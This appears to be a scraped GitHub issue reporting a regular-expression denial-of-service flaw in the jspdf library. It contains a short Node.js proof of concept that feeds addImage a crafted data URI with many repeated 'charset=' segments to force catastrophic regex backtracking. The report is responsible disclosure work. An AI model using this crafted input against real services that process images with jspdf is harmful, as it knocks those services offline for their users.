You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
I would like to report a Regular Expression Denial of Service (REDoS) vulnerability in jspdf.
It allows cause a denial of service when adding images.
You can execute the code below to reproduce the vulnerability.
constfs=require("fs");const{ jsPDF }=require("jspdf")functionbuild_blank(n){varret="data:/"for(vari=0;i<n;i++){ret+="charset="}returnret+"!";}constdoc=newjsPDF();doc.text("Hello world1111!",10,10);varimageData="data:image/png;base64,"varOctocat=fs.readFileSync("psb.png",{encoding: "latin1"});doc.addImage(build_blank(30)+imageData,"test",10,40,180,180,undefined,"SLOW");doc.save("a4ffff.pdf");// will save the file in the current working directoryconsole.log("type:"+typeof(doc.addImage))
Best,
Yeting Li
The text was updated successfully, but these errors were encountered:
Hi,
I would like to report a Regular Expression Denial of Service (REDoS) vulnerability in jspdf.
It allows cause a denial of service when adding images.
You can execute the code below to reproduce the vulnerability.
Best,
Yeting Li
The text was updated successfully, but these errors were encountered: